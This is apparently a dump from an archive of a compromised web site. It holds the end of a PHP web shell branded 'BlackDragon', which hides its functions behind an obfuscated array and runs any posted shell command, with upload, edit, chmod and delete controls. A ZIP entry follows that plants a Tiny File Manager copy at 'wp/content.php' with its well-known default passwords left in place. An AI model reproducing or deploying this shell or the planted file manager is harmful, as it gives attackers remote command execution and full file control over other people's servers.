        	<i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
        	<i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
        	<i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
        </div>
        <div class="breadcrumb">
          <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) : 
						if ($pat == '' && $id == 0):
					?>
					<a href="?dir=/" class="text-decoration-none text-light">/</a>
					<?php endif; if ($pat == '') continue; ?>
					<?php if ($id + 1 == count($exdir)) : ?>
					<span class="text-secondary"><?= $pat ?></span>
					<?php else : ?>
					<a href="?dir=
					<?php
					for ($i = 0; $i <= $id; $i++) {
						echo "$exdir[$i]";
						if ($i != $id) echo "/";
					}
					?>
					" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
          <?php endif; ?>
          <?php endforeach; ?>
          <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
          <a href="?logout" class="text-decoration-none text-light">&nbsp;[ LOGOUT ]</a>
        </div>
        <div class="d-flex justify-content-between">
          <div class="p-2">
            <form action="" method="post">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
                </div>
              </div>
            </form>
          </div>
          <div class="p-2">
            <form action="" method="post" enctype="multipart/form-data">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div class="container" id="tools">
          <?php if (isset($_POST['command'])) : ?>
          <div class="row justify-content-center">
            <pre><?= $f[20]($_POST['command']) ?></pre>
          </div>
          <?php endif; ?>
          <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
          <div class="row justify-content-center">
            <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label">New Name</label>
                <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
            <div class="mb-3">
              <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
              <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              <br>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </div>
            <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php endif; ?>
          </div>
          <?php endif; ?>
          <div class="row justify-content-center">
            <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">Folder Name</label>
                  <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
            <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">File Name</label>
                  <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
                </div>
                <div class="mb-3">
                  <label for="name" class="form-label">File Content</label>
                  <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
          </div> 
        </div>
        <div class="table-responsive">
          <table class="table table-hover table-dark text-light">
            <thead>
              <tr>
                <td style="width:35%">Name</td>
                <td style="width:10%">Type</td>
                <td style="width:10%">Size</td>
                <td style="width:13%">Owner/Group</td>
                <td style="width:10%">Permission</td>
                <td style="width:13%">Last Modified</td>
                <td style="width:9%">Actions</td>
              </tr>
            </thead>
            <tbody class="text-nowrap">
              <?php
                foreach ($dirs as $dir) :
                  if (!is_dir($dir)) continue;
              ?>
              <tr>
                <td>
                  <?php if ($dir === '..') : ?>
                  <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php elseif ($dir === '.') :  ?>
                  <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php else : ?>
                  <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
                  <?php endif; ?>
                </td>
                <td class="text-light"><?= $f[8]($dir) ?></td>
                <td class="text-light">-</td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a><a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php elseif ($dir === '.') : ?>
                  <div class="btn-group">
                    <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
                    <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
              <?php
                foreach ($dirs as $dir) :
                  if (!is_file($dir)) continue;
              ?>
              <tr>
                <td>
                  <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
                </td>
                <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
                <td class="text-light"><?= $f[26]($dir) ?></td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
            </tbody>
          </table>
        </div>
        <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
      </div>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  <script>
  <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
          '<?= $_SESSION['status'] ?>',
          '<?= $_SESSION['message'] ?>',
          '<?= $_SESSION['class'] ?>'
        )
  <?php endif; clear(); ?>
    function deleteConfirm(url) {
      event.preventDefault()
      Swal.fire({
          title: 'Are you sure?',
          icon: 'warning',
          showCancelButton: true,
          confirmButtonColor: '#3085d6',
          cancelButtonColor: '#d33',
          confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
          if (result.isConfirmed) {
            window.location.href = url
        }
      })
    }
    function jscopy() {
      var jsCopy = document.getElementById("CopyFromTextArea");
      jsCopy.focus();
      jsCopy.select();
      document.execCommand("copy");
    }
  </script>
</body>
</html>PK       ! 'q q   wp/content.phpnu [        <?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":true,"show_hidden":true,"hide_Cols":false,"theme":"dark"}';

/**
 * H3K ~ Tiny File Manager V2.6
 * @author CCP Programmers
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.6');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma', //admin@123
    'user' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma' //12345
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
//make sure update $root_url in next section
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', '/path/to/folder', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__ . '/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset($_SESSION['token']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP()
    {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else
    if ($ip_ruleset == 'OR') {
        if ($whitelisted == true || $blacklisted == false) {
            $proceed = true;
        }
    }

    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center align-content-center h-100vh">
                    <div class="card-wrapper">
                        <div class="card fat" data-bs-theme="<?php echo FM_THEME; ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                        <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z" />
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z" />
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z" />
                                                </g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

    <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = $_POST['path'] == "." ? '' : $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
